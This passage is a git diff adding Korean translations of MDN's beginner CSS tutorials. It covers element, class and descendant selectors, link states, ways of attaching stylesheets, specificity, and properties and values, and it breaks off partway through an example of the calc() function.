+<p>HTML 및 CSS 파일을 저장하고 웹 브라우저에서 페이지를 다시 로드 하십시오. 문서 상단의 레벨 1 제목이 이제 빨간색이어야 합니다. 이 경우 축하합니다. 일부 CSS 를 HTML 문서에 성공적으로 적용했습니다. 그렇지 않으면 모든 것을 올바르게 입력했는지 주의 깊게 확인하십시오.</p>
+
+<p><code>styles.css</code> 에서 로컬로 계속 작업하거나, 아래의 대화식 편집기를 사용하여 이 자습서를 계속할 수 있습니다. 대화식 편집기는 위의 문서와 마찬가지로 첫 번째 패널의 CSS가 HTML 문서에 연결된 것처럼 작동합니다.</p>
+
+<h2 id="HTML_요소_스타일링">HTML 요소 스타일링</h2>
+
+<p>제목을 빨간색으로 하여 이미 HTML 요소를 대상으로 스타일을 지정할 수 있음을 보여주었습니다. 이 작업은 요소 선택자 (HTML 요소 이름과 직접 일치하는 선택자) 를 대상으로 수행됩니다. 문서의 모든 단락을 대상으로 하려면 선택자 <code>p</code> 를 사용합니다. 모든 단락을 녹색으로 바꾸려면 다음을 사용하십시오:</p>
+
+<pre class="brush: css">p {
+  color: green;
+}</pre>
+
+<p>선택자를 쉼표로 구분하여 여러 선택자를 한 번에 대상으로 지정할 수 있습니다. 모든 단락과 모든 목록 항목을 녹색으로 만들려면 규칙은 다음과 같습니다:</p>
+
+<pre class="brush: css">p, li {
+    color: green;
+}</pre>
+
+<p>아래의 대화식 편집기 (코드 박스 편집) 또는 로컬 CSS 문서에서 이를 시도하십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} </p>
+
+<h2 id="요소_elements_의_기본_동작_변경하기">요소 (elements) 의 기본 동작 변경하기</h2>
+
+<p>예제와 같이 간단한 HTML 문서를 살펴보면, 기본 스타일을 추가하여 브라우저가 HTML을 읽을 수 있게 만드는 방법을 알 수 있습니다. 제목은 크고 대담하며 목록에는 글머리 기호가 있습니다. 이는 브라우저에서 기본 스타일을 포함하는 내부 스타일 시트가 있기 때문에 기본적으로 모든 페이지에 적용됩니다. 그들 없이는 모든 텍스트가 한 덩어리로 모여서 처음부터 모든 것을 스타일링 해야합니다. 모든 최신 브라우저는 기본적으로 HTML 내용을 거의 같은 방식으로 표시합니다.</p>
+
+<p>그러나, 종종 브라우저에서 선택한 것 이외의 것을 원할 것입니다. 변경하려는 HTML 요소를 선택하고 CSS 규칙을 사용하여 모양을 변경하면 됩니다. 좋은 예는 순서가 없는 목록인 <code>&lt;ul&gt;</code> 입니다. 목록 글머리 기호가 있으며, 그 글머리 기호를 원하지 않으면 다음과 같이 제거할 수 있습니다:</p>
+
+<pre class="brush: css">li {
+  list-style-type: none;
+}</pre>
+
+<p>이것을 CSS 에 추가하십시오.</p>
+
+<p><code>list-style-type</code> 속성은 MDN 에서 지원되는 값을 확인하는 데 유용한 속성입니다. <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code> 에 대한 페이지를 살펴보면 페이지 상단에 몇 가지 다른 값을 시도하는 대화식 예제가 있으며, 허용 가능한 모든 값이 페이지 아래에 자세히 나와 있습니다.</p>
+
+<p>이 페이지를 보면 목록 글머리 기호를 제거할 뿐만 아니라 목록 글머리 기호를 변경할 수 있음을 알 수 있습니다. <code>square</code> 값을 사용하여 정사각형 글머리 기호로 변경하십시오.</p>
+
+<h2 id="class_추가하기">class 추가하기</h2>
+
+<p>지금까지 HTML 요소 이름을 기반으로 요소의 스타일을 지정했습니다. 문서에서 해당 유형의 모든 요소가 동일하게 표시되기를 원하는 한 작동합니다. 대부분의 경우에 해당되지 않으므로 다른 요소를 변경하지 않고 요소의 하위 부분을 선택할 수 있는 방법을 찾아야 합니다. 이를 수행하는 가장 일반적인 방법은 HTML 요소에 class 를 추가하고 해당 class 를 대상으로 하는 것입니다.</p>
+
+<p>HTML 문서에서, 두 번째 목록 항목에 <a href="/en-US/docs/Web/HTML/Global_attributes/class">class 속성</a> 을 추가하십시오. 이제 목록은 다음과 같습니다:</p>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;항목 하나&lt;/li&gt;
+  &lt;li <strong>class="special"</strong>&gt;항목 둘&lt;/li&gt;
+  &lt;li&gt;항목 &lt;em&gt;셋&lt;/em&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>CSS 에서 마침표 문자로 시작하는 선택자를 작성하여 <code>special</code> class 를 대상으로 할 수 있습니다. CSS 파일에 다음을 추가하십시오:</p>
+
+<pre class="brush: css">.special {
+  color: orange;
+  font-weight: bold;
+}</pre>
+
+<p>저장하고 새로 고침하여 결과를 확인하십시오.</p>
+
+<p>이 목록 항목과 동일한 모양을 원하는 페이지의 모든 요소에 <code>special</code> class 를 적용할 수 있습니다. 예를 들어, 단락의 <code>&lt;span&gt;</code> 도 주황색과 굵게 표시할 수 있습니다. <code>special</code> <code>class</code> 를 추가한 다음, 페이지를 새로 고침하여 어떻게 되는지 확인하십시오.</p>
+
+<p>때로는 HTML 요소 선택자 및 class 목록이 포함된 규칙이 표시됩니다:</p>
+
+<pre class="brush: css">li.special {
+  color: orange;
+  font-weight: bold;
+}</pre>
+
+<p>이 구문은 "spacial class 를 가진 모든 <code>li</code> 요소를 대상으로 함" 을 의미합니다. 이 작업을 수행하면, 단순히 class 를 추가하기만 하면 더 이상 class 를 <code>&lt;span&gt;</code> 또는 다른 요소에 적용할 수 없습니다. 해당 요소를 선택자 목록에 추가해야 합니다:</p>
+
+<pre class="brush: css">li.special,
+span.special {
+  color: orange;
+  font-weight: bold;
+}</pre>
+
+<p>당신이 상상할 수 있듯이, 일부 class 는 많은 요소에 적용될 수 있으며 새로운 스타일을 취해야 할 때마다 CSS 를 계속 편집하지 않아도 됩니다. 따라서 하나의 요소에 대해 특별한 규칙을 만들고 싶거나 다른 요소에 적용되지 않도록 하려는 경우가 아니라면 요소를 무시하고 class 를 참조하는 것이 가장 좋습니다.</p>
+
+<h2 id="문서에서의_위치에_따라_스타일_지정하기">문서에서의 위치에 따라 스타일 지정하기</h2>
+
+<p>문서에서의 위치에 따라 무언가 다르게 보일 때가 있습니다. 여기에 당신을 도울 수 있는 선택자가 많이 있지만, 지금 몇 가지만 살펴 보겠습니다. 이 문서에는 두 개의 <code>&lt;em&gt;</code> 요소가 있습니다 — 하나는 단락 안에 있고 다른 하나는 목록 항목 안에 있습니다. <code>&lt;li&gt;</code> 요소 안에 중첩된 <code>&lt;em&gt;</code> 만 선택하려면 <strong>descendant combinator</strong> 라는 선택자를 사용 할 수 있습니다. 이 선택자는 단순히 두 개의 다른 선택자 사이에 공백의 형태를 취합니다.</p>
+
+<p>스타일 시트에 다음 규칙을 추가 하십시오.</p>
+
+<pre class="brush: css">li em {
+  color: rebeccapurple;
+}</pre>
+
+<p>이 선택자는 <code>&lt;li&gt;</code> 의 하위 요소인 <code>&lt;em&gt;</code> 요소를 선택합니다. 따라서 예제 문서에서 세 번째 목록 항목의 <code>&lt;em&gt;</code> 은 이제 자주색 이지만, 단락 안의 항목은 변경되지 않았음을 알 수 있습니다.</p>
+
+<p>HTML 의 동일한 계층 구조 수준에서 제목 바로 다음에 오는 단락의 스타일을 지정해 볼 수 있습니다. 이렇게 하려면 선택자 사이에 <code>+</code>  (<strong>adjacent sibling combinator</strong>) 를 배치 하십시오.</p>
+
+<p>이 규칙을 스타일 시트에도 추가하십시오:</p>
+
+<pre class="brush: css">h1 + p {
+  font-size: 200%;
+}</pre>
+
+<p>아래의 라이브 예제에는 위의 두 규칙이 포함됩니다. 단락 내부에 있는 span 을 빨간색으로 만들려면 규칙을 추가하십시오. 첫 번째 단락의 span 이 빨간색 이므로 올바른 span 이 있는지 알 수 있지만, 첫 번째 목록 항목의 span 은 색이 변경되지 않습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 보시다시피, CSS 는 요소를 대상으로 하는 여러 가지 방법을 제공합니다. 이 과정의 뒷부분에서 이러한 선택자 및 선택자 관련 기사를 모두 자세히 살펴볼 것입니다.</p>
+</div>
+
+<h2 id="상태에_따른_스타일링">상태에 따른 스타일링</h2>
+
+<p>이 자습서에서 살펴볼 스타일링의 마지막 유형은 상태에 따라 스타일을 지정할 수 있는 기능입니다. 이에 대한 간단한 예제는 링크 스타일링 입니다. 링크의 스타일을 지정할 때 <code><a href="/en-US/docs/Web/HTML/Element/a">&lt;a&gt;</a></code> (앵커) 요소를 대상으로 해야합니다. 방문되지 않았는지, 방문 중인지, 마우스 오버인지, 키보드를 통한 포커스 또는 클릭 (활성화) 여부에 따라 상태가 다릅니다. CSS 를 사용하여 이러한 다양한 상태를 대상으로 할 수 있습니다. 아래 CSS 는 방문하지 않은 링크는 분홍색이고 방문한 링크는 녹색입니다.</p>
+
+<pre class="brush: css">a:link {
+  color: pink;
+}
+
+a:visited {
+  color: green;
+}</pre>
+
+<p>사용자가 링크 위로 이동할 때 링크 모양을 변경할 수 있습니다. 예를 들어, 다음 규칙에서 밑줄을 제거합니다:</p>
+
+<pre class="brush: css">a:hover {
+  text-decoration: none;
+}</pre>
+
+<p>아래 라이브 예제에서는 링크의 다양한 상태에 대해 다른 값으로 표시할 수 있습니다. 위의 규칙을 추가했으며, 이제 핑크 색상이 매우 가볍고 읽기 어렵다는 것을 알고 있습니다. 더 나은 색상으로 바꾸지 않겠습니까? 링크를 굵게 표시할 수 있습니까?</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p>
+
+<p>우리는 hover 링크에서 밑줄을 제거했습니다. 링크의 모든 상태에서 밑줄을 제거할 수 있습니다. 그러나 실제 사이트에서는 링크임을 방문자에게 알리고자 합니다. 밑줄을 제자리에 두면, 단락 내의 일부 텍스트를 클릭할 수 있다는 사실을 사람들이 인식할 수 있는 중요한 단서가 될 수 있습니다. CSS 의 모든 항목과 마찬가지로 변경 사항으로 인해 문서에 대한 접근성을 떨어뜨릴 수 있는 가능성이 있습니다. 적절한 장소에서 발생할 수 있는 잠재적 위험을 강조하는 것이 목표입니다. </p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 이러한 교육 과정과 MDN 전반에 걸쳐 <a href="/en-US/docs/Learn/Accessibility">접근성</a> 에 대한 언급이 자주 있을 것입니다. 접근성에 대해 이야기할 때 웹 페이지를 모든 사용자가 이해하고 사용할 수 있어야 한다는 요구 사항을 언급하고 있습니다.</p>
+
+<p>방문자는 마우스나 trackpad 또는 터치스크린이 있는 스마트폰에 있을 수 있습니다. 또는 문서의 내용을 읽어내는 스크린 리더를 사용하거나 훨씬 큰 텍스트를 사용하거나 키보드만 사용하여 사이트를 탐색해야 할 수도 있습니다.</p>
+
+<p>일반 HTML 문서는 일반적으로 모든 사용자가 접근할 수 있습니다. 해당 문서의 스타일을 지정하기 시작하면 접근성이 저하되지 않도록 하는 것이 중요합니다.</p>
+</div>
+
+<h2 id="선택자와_결합자를_결합">선택자와 결합자를 결합</h2>
+
+<p>여러 선택자와 결합자를 함께 결합할 수 있습니다. 예를 들면 다음과 같습니다:</p>
+
+<pre class="brush: css">/* &lt;article&gt; 내부의 &lt;p&gt; 안에 있는 모든 &lt;span&gt; 을 선택합니다  */
+article p span { ... }
+
+/* &lt;h1&gt; 바로 뒤에 오는 &lt;ul&gt; 바로 뒤의 모든 &lt;p&gt; 를 선택합니다  */
+h1 + ul + p { ... }</pre>
+
+<p>여러 유형을 함께 결합 할 수도 있습니다. 코드에 다음을 추가 하십시오:</p>
+
+<pre class="brush: css">body h1 + p .special {
+  color: yellow;
+  background-color: black;
+  padding: 5px;
+}</pre>
+
+<p>이것은 <code>&lt;body&gt;</code> 안에 있는 <code>&lt;h1&gt;</code> 바로 뒤에 오는 <code>&lt;p&gt;</code> 안에 있는 <code>special</code> class 를 가진 요소를 스타일링 합니다. 아이고 복잡해라!</p>
+
+<p>우리가 제공한 원본 HTML 에서 스타일이 지정된 유일한 요소는 <code>&lt;span class="special"&gt;</code> 입니다.</p>
+
+<p>현재 이것이 복잡해 보인다고 걱정하지 마십시오 — CSS 를 더 많이 작성할수록 곧 요령을 터득하기 시작할 것입니다.</p>
+
+<h2 id="마무리">마무리</h2>
+
+<p>이 자습서에서는, CSS 를 사용하여 문서의 스타일을 지정할 수 있는 여러 가지 방법을 살펴 보았습니다. 우리는 나머지 수업을 진행 하면서 이 지식을 개발할 것입니다. 그러나 이제 텍스트 스타일을 지정하고 문서의 요소를 대상으로 하는 다양한 방법을 기반으로 CSS 를 적용하고 MDN 설명서에서 속성과 값을 검색할 수 있을 정도로 이미 알고 있습니다.</p>
+
+<p>다음 수업에서는 CSS 가 어떻게 구성되어 있는지 살펴 볼 것입니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS 란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 로 시작하기</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS 의 구조</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식 사용</a></li>
+</ol>
diff --git a/files/ko/learn/css/first_steps/how_css_is_structured/index.html b/files/ko/learn/css/first_steps/how_css_is_structured/index.html
new file mode 100644
index 0000000000..e7a46f1c7c
--- /dev/null
+++ b/files/ko/learn/css/first_steps/how_css_is_structured/index.html
@@ -0,0 +1,504 @@
+---
+title: CSS 의 구조
+slug: Learn/CSS/First_steps/How_CSS_is_structured
+translation_of: Learn/CSS/First_steps/How_CSS_is_structured
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</div>
+
+<p class="summary">CSS 가 무엇인지, 그리고 CSS 의 기본 사용법에 대해 여러분은 알고 있습니다. 이제 언어 자체의 구조를 조금 더 깊이 살펴볼 차례입니다. 우리는 이미 여기에서 논의된 많은 개념들을 만났습니다. 나중에 혼란스러워 하는 개념을 발견하면, 이 개념으로 돌아와서 요약할 수 있습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본적인 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식, HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">CSS 작동 방식</a> 이해</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 의 기본 구문 구조를 자세히 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML_에_CSS_적용하기">HTML 에 CSS 적용하기</h2>
+
+<p>가장 먼저 살펴볼 것은 CSS 를 문서에 적용하는 세 가지 방법입니다.</p>
+
+<h3 id="외부_스타일_시트">외부 스타일 시트</h3>
+
+<p><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 시작하기</a> 에서 외부 스타일 시트를 페이지에 연결했습니다. CSS 를 여러 페이지에 연결할 수 있으므로, CSS 를 문서에 첨부하는 가장 일반적이고 유용한 방법이며, 모두 동일한 스타일 시트로 CSS 스타일을 지정할 수 있습니다. 대부분의 경우 사이트의 다른 페이지는 모두 거의 동일하게 보이기 때문에 기본 모양과 느낌에 동일한 규칙을 사용할 수 있습니다.</p>
+
+<p>외부 스타일 시트는 CSS 확장자가 <code>.css</code> 인 별도의 파일로 작성되고, HTML <code>&lt;link&gt;</code> 요소에서 참조하는 경우입니다:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;나의 CSS 실험&lt;/title&gt;
+    &lt;link rel="stylesheet" href="styles.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;헬로우 월드!&lt;/h1&gt;
+    &lt;p&gt;이것은 나의 첫 번째 CSS 예제입니다&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>CSS 파일은 다음과 같습니다:</p>
+
+<pre class="brush: css">h1 {
+  color: blue;
+  background-color: yellow;
+  border: 1px solid black;
+}
+
+p {
+  color: red;
+}</pre>
+
+<p>{{htmlelement("link")}} 요소의 <code>href</code> 속성은 여러분의 파일 시스템 파일을 참조해야 합니다.</p>
+
+<p>위의 예에서, CSS 파일은 HTML 문서와 동일한 폴더에 있지만, 다른 곳에 저장 한다면, 지정된 경로를 다음과 같이 조정할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;!-- 현재 폴더의 styles 라는 하위 폴더 안에 --&gt;
+&lt;link rel="stylesheet" href="styles/style.css"&gt;
+
+&lt;!-- 현재 폴더의 styles 라는 하위 폴더에 있는 general 이라는 하위 폴더 안에 --&gt;
+&lt;link rel="stylesheet" href="styles/general/style.css"&gt;
+
+&lt;!-- 상위 폴더로 올라간 다음, styles 라는 하위 폴더 내로 이동 --&gt;
+&lt;link rel="stylesheet" href="../styles/style.css"&gt;</pre>
+
+<h3 id="내부_스타일_시트">내부 스타일 시트</h3>
+
+<p>내부 스타일 시트는 외부 CSS 파일이 없는 대신, HTML {{htmlelement("head")}} 안에 포함된 {{htmlelement("style")}} 요소 내부에 CSS 를 배치합니다.</p>
+
+<p>따라서 HTML 은 다음과 같습니다:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;나의 CSS 실험&lt;/title&gt;
+    &lt;style&gt;
+      h1 {
+        color: blue;
+        background-color: yellow;
+        border: 1px solid black;
+      }
+
+      p {
+        color: red;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;헬로우 월드&lt;/h1&gt;
+    &lt;p&gt;이것은 나의 첫 번째 CSS 예제입니다&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>이는 일부 상황 (CSS 파일을 직접 수정할 수 없는 콘텐츠 관리 시스템을 사용하는 경우도 있지만) 에서 유용할 수 있지만, CSS 가 필요한 외부 스타일 시트 만큼 효율적이지 않습니다 — 웹 사이트에서, CSS 가 모든 페이지에서 반복되고 변경이 필요한 경우 여러 위치에서 업데이트 됩니다.</p>
+
+<h3 id="인라인_스타일">인라인 스타일</h3>
+
+<p>인라인 스타일은 <code>style</code> 속성 내에 포함된 한 요소에만 영향을 주는 CSS 선언입니다:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;나의 CSS 실험&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1 style="color: blue;background-color: yellow;border: 1px solid black;"&gt;헬로우 월드!&lt;/h1&gt;
+    &lt;p style="color:red;"&gt;이것은 나의 첫 번째 CSS 예제입니다&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>당신이 정말로 필요하지 않는 한, 이것을 사용하지 마십시오! </strong>유지 관리가 실제로 좋지 않으며 (문서당 동일한 정보를 여러번 업데이트 해야할 수도 있음), 프리젠테이션 CSS 정보와 HTML 구조 정보를 혼합하여 코드를 읽고 이해하기 어렵게 만듭니다. 다른 유형의 코드를 분리하여 유지하면 코드 작업을 하는 모든 사람이 훨씬 쉽게 작업할 수 있습니다.</p>
+
+<p>인라인 스타일이 더 일반적이거나 권장되는 곳이 몇 군데 있습니다. 작업 환경이 실제로 제한적인 경우 (CMS 로 HTML 본문만 편집할 수 있음), 이를 사용하는 것이 좋습니다. 또한 가능한 많은 전자 메일 클라이언트와 호환되도록 HTML 전자 메일에 많이 사용된 것을 볼 수 있습니다.</p>
+
+<h2 id="이_기사에서_CSS_로_실습">이 기사에서 CSS 로 실습</h2>
+
+<p>이 기사에는 많은 CSS 가 있습니다. 이렇게 하려면, 컴퓨터에 새 디렉토리/폴더 를 작성하고 그 안에 다음 두 파일의 복사본을 작성하는 것이 좋습니다:</p>
+
+<p><strong>index.html:</strong></p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="ko"&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;나의 CSS 실험&lt;/title&gt;
+    &lt;link rel="stylesheet" href="styles.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+    &lt;p&gt;여기에 테스트용 HTML 을 작성하십시오&lt;/p&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>styles.css:</strong></p>
+
+<pre class="brush: css">/* 여기에 테스트용 CSS 를 작성하십시오 */
+
+p {
+  color: red;
+}</pre>
+
+<p>그런 다음, 실험하려는 CSS 를 발견하면, HTML <code>&lt;body&gt;</code> 콘텐츠를 스타일을 지정할 HTML 로 바꾸고 CSS 를 추가하여 CSS 파일 내에서 스타일을 지정하십시오.</p>
+
+<p>파일을 쉽게 만들 수 있는 시스템을 사용하지 않는 경우, 아래의 대화식 편집기를 사용하여 실험해 보십시오.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 800)}} </p>
+
+<p>읽고, 재미있게 보내십시오!</p>
+
+<h2 id="선택자_Selectors">선택자 (Selectors)</h2>
+
+<p>선택자를 만나지 않고 CSS 에 대해 이야기할 수 없으며, <a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 시작하기</a> 자습서에서 이미 여러 가지 유형을 발견했습니다. 선택자는 스타일을 적용하기 위해 HTML 문서에서 무언가를 대상으로 하는 방법입니다. 스타일이 적용되지 않으면 선택자가 일치해야 하는 것과 동일하지 않을 수 있습니다.</p>
+
+<p>각 CSS 규칙은 선택자 또는 선택자 목록으로 시작하여 규칙을 적용해야 하는 요소 또는 요소 규칙을 브라우저에게 알려줍니다. 다음은 모두 유효한 선택자 또는 선택자 목록의 예입니다.</p>
+
+<pre class="brush: css">h1
+a:link
+.manythings
+#onething
+*
+.box p
+.box p:first-child
+h1, h2, .intro</pre>
+
+<p><strong>위의 선택자를 사용하는 CSS 규칙과 스타일을 적용할 일부 HTML 을 만들어 보십시오. 위 구문 중 일부가 무엇을 의미하는지 모르는 경우, MDN 에서 검색해 보십시오!</strong></p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 다음 과목의 <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a> 자습서에서, 선택자에 대해 자세히 학습합니다.</p>
+</div>
+
+<h3 id="우선_순위_Specificity">우선 순위 (Specificity)</h3>
+
+<p>두 선택자가 동일한 HTML 요소를 선택할 수 있는 경우가 종종 있습니다. 단락을 파란색으로 설정하는 <code>p</code> 선택자 및 선택한 요소를 빨간색으로 설정하는 class 가 있는 아래 스타일 시트를 고려하십시오.</p>
+
+<pre class="brush: css">.special {
+  color: red;
+}
+
+p {
+  color: blue;
+}</pre>
+
+<p>HTML 문서에 <code>special</code> class 가 있는 단락이 있다고 가정해 봅시다. 두 규칙이 모두 적용될 수 있으므로 어느 쪽이 이길까요? 우리의 문단은 어떤 색이 될 것이라고 생각합니까?</p>
+
+<pre class="brush: html">&lt;p class="special"&gt;나는 무슨 색입니까?&lt;/p&gt;</pre>
+
+<p>CSS 언어에는 충돌시 어떤 규칙이 이기는지 제어하는 규칙이 있습니다 — 이러한 규칙을 <strong>계단식(cascade)</strong> 및 <strong>우선 순위(specificity)</strong> 라고 합니다. 아래 코드 블록에서 <code>p</code> 선택자에 대해 두 가지 규칙을 정의했지만, 단락이 파란색으로 표시됩니다. 파란색으로 설정한 선언은 스타일 시트에서 나중에 나타나고 이후 스타일은 이전 스타일을 재정의 하기 때문입니다. 이것은 실제의 계단식 (cascade) 입니다.</p>
+
+<pre class="brush: css">p {
+  color: red;
+}
+
+p {
+  color: blue;
+}</pre>
+
+<p>그러나, class 선택자 및 요소 선택자가 있는 이전 블록의 경우, class 가 이기고 단락이 빨간색으로 표시됩니다 — class 는 요소 선택자 보다 더 구체적이거나 더 우선 순위가 높은 것으로 설명되므로 이깁니다.</p>
+
+<p><strong>위 실험을 직접해 보십시오 — 실험에 HTML 을 추가한 다음, 스타일 시트에 두 개의 <code>p { ... }</code> 규칙을 추가하십시오. 그런 다음 첫 번째 <code>p</code> 선택자를 <code>.special</code> 로 변경하여 스타일이 어떻게 되는지 확인하십시오.</strong></p>
+
+<p>우선 순위 규칙과 계단식은 처음에는 약간 복잡해 보일 수 있으며 CSS 지식을 더 많이 쌓으면 이해하기 쉽습니다. 다음 과목에서 다룰 <a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a> 기사에서, 우선 순위를 계산하는 방법을 포함하여 자세히 설명하겠습니다. 현재로서는 이것이 존재하며, 스타일 시트의 다른 요소가 더 높은 우선 순위를 가지기 때문에 CSS 가 예상한 대로 적용되지 않을 수도 있음을 기억하십시오. 하나 이상의 규칙이 요소에 적용될 수 있음을 식별하는 것이 이러한 문제를 해결하는 첫 번째 단계입니다.</p>
+
+<h2 id="속성_및_값">속성 및 값</h2>
+
+<p>가장 기본적인 수준에서, CSS 는 두 가지 요소로 구성됩니다:</p>
+
+<ul>
+ <li><strong>속성 (Properties)</strong>: 변경할 스타일 기능 (예: <code><a href="/en-US/docs/Web/CSS/font-size">font-size</a></code>, <code><a href="/en-US/docs/Web/CSS/width">width</a></code>, <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code>) 을 나타내는 식별자입니다.</li>
+ <li><strong>값 (Values)</strong>: 지정된 각 속성에는 값이 지정되어 있으며, 이는 해당 스타일 기능을 변경하는 방법 (예: 글꼴, 너비 또는 배경색을 변경하려는 항목) 을 나타냅니다.</li>
+</ul>
+
+<p>아래 이미지는 단일 속성과 값을 강조 표시합니다. 속성 이름은 <code>color</code> 이고 값은 <code>blue</code> 입니다.</p>
+
+<p><img alt="A declaration highlighted in the CSS" src="https://mdn.mozillademos.org/files/16498/declaration.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p>
+
+<p>값 과 쌍을 이루는 속성을 <em>CSS <strong>선언 (declaration)</strong></em> 이라고 합니다. CSS 선언은 <em>CSS <strong>선언 블록</strong></em> 안에 있습니다. 다음 이미지는 선언 블록이 강조 표시된 CSS 를 보여줍니다.</p>
+
+<p><img alt="A highlighted declaration block" src="https://mdn.mozillademos.org/files/16499/declaration-block.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p>
+
+<p>마지막으로, CSS 선언 블록은 <em>선택자 </em>와 쌍을 이루어 <em>CSS Rulesets</em> (또는 <em>CSS <strong>규칙</strong> </em>) 를 생성합니다. 이미지에는 <code>h1</code> 선택자 및 <code>p</code> 선택자의 두 가지 규칙이 있습니다. <code>h1</code> 의 규칙이 강조 표시됩니다.</p>
+
+<p><img alt="The rule for h1 highlighted" src="https://mdn.mozillademos.org/files/16500/rules.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p>
+
+<p>CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능입니다. CSS 엔진은 페이지의 모든 단일 요소에 적용할 선언을 계산하여 적절하게 배치하고 스타일을 지정합니다. 기억해야 할 것은 CSS 에서 속성과 값이 모두 대소문자를 구분한다는 것입니다. 각 쌍의 속성 과 값은 콜론 (<code>:</code>) 으로 구분됩니다.</p>
+
+<p><strong>다음 속성의 다른 값을 찾아 다른 HTML 요소에 적용하는 CSS 규칙을 작성하십시오: </strong></p>
+
+<ul>
+ <li><strong>{{cssxref("font-size")}}</strong></li>
+ <li><strong>{{cssxref("width")}}</strong></li>
+ <li><strong>{{cssxref("background-color")}}</strong></li>
+ <li><strong>{{cssxref("color")}}</strong></li>
+ <li><strong>{{cssxref("border")}}</strong></li>
+</ul>
+
+<div class="warning">
+<p><strong>중요</strong>: 속성을 알 수 없거나 지정된 속성에 대해 값이 유효하지 않은 경우, 선언이 유효하지 않은 것으로 간주되어 브라우저의 CSS 엔진에서 완전히 무시됩니다.</p>
+</div>
+
+<div class="warning">
+<p><strong>중요</strong>: CSS (및 기타 웹 표준) 에서, 언어의 불확실성이 발생하는 경우, 미국 맞춤법이 표준으로 합의 되었습니다. 예를 들어, <code>color</code> 는 <em>항상</em>  <code>color</code> 여야 합니다. <code>colour</code> 는 작동하지 않습니다.</p>
+</div>
+
+<h3 id="함수_function">함수 (function)</h3>
+
+<p>대부분의 값은 비교적 간단한 키워드 또는 숫자 값이지만, 함수의 형태를 취하는 몇 가지 가능한 값이 있습니다. <code>calc()</code> 함수를 예로 들 수 있습니다. 이 함수를 사용하면 CSS 내에서 간단한 계산을 수행할 수 있습니다. 예를 들면 다음과 같습니다:</p>
+
+<div id="calc_example">
+<pre class="brush: html">&lt;div class="outer"&gt;&lt;div class="box"&gt;The inner box is 90% - 30px.&lt;/div&gt;&lt;/div&gt;</pre>
